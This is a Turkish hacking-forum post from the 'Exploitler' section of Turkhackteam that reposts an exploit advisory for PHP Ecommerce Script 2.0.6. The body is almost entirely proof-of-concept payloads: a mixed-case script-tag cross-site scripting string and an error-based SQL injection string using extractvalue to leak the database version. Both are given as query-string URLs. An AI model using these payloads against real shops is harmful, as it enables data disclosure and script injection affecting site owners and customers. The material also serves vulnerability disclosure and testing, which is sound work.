Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...




PHP Ecommerce Script 2.0.6 - Cross-Site Scripting / SQL Injection

Exploitler

Yeni Konu aç Cevapla
 
Seçenekler
Alt 25-02-2019 19:05   #1
  • Anka Saldırı Timi Asistanı
  • Üye Bilgileri
Üyelik tarihi
01/2019
Nereden
Ludas.py
Yaş
19
Mesajlar
Konular

Teşekkür (Etti): 26
Teşekkür (Aldı): 39


PHP Ecommerce Script 2.0.6 - Cross-Site Scripting / SQL Injection



# Exploit Title [Exploit başlığı] : PHP Ecommerce Script 2.0.6 - Cross-Site Scripting / SQL Injection
# Exploit Author [Exploit yazarı] : Mr Winst0n
# Author E-mail [Yazar E-posa adresi] : manamtabeshekan[@]gmail[.]com
# Discovery Date [Keşfediliş tarihi] : February 22, 2019
# Vendor Homepage [Exploitin yapımcısı (anasayfa)] : http://www.phpscriptsmall.com/
# Software Link [Yazılım linki] : https://www.phpscriptsmall.com/produ...mmerce-script/
# Tested Version [Yazılımın test edilen versiyonu] : 2.0.6
# Tested on [Üzerinde test edildi] : Kali linux, Windows 8.1


# PoC:

# Cross Site Scripting:

# http://localhost/[PATH]/?s=[XSS]
# http://localhost/[PATH]/?s=<scRiPt>alert(1)</ScrIpT>

# SQL Injection:

# http://localhost/[PATH]/?s=[SQL]
# http://localhost/[PATH]/?s=1%20and%20extractvalue(rand(),concat(0x7e,versi on()))


Exploit : PHP Ecommerce Script 2.0.6 - Cross-Site Scripting / SQL Injection



___________________________________________


|~ Yalnızlık olsun istediğin, uzaya mahkum ederim. ~|

Telegram ⋟ @Ludas_THT

|~ Vaktimiz doldu, artık gözlerin kapalı. ~|

Konu Ludas tarafından (26-02-2019 00:01 Saat 00:01 ) değiştirilmiştir..
 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau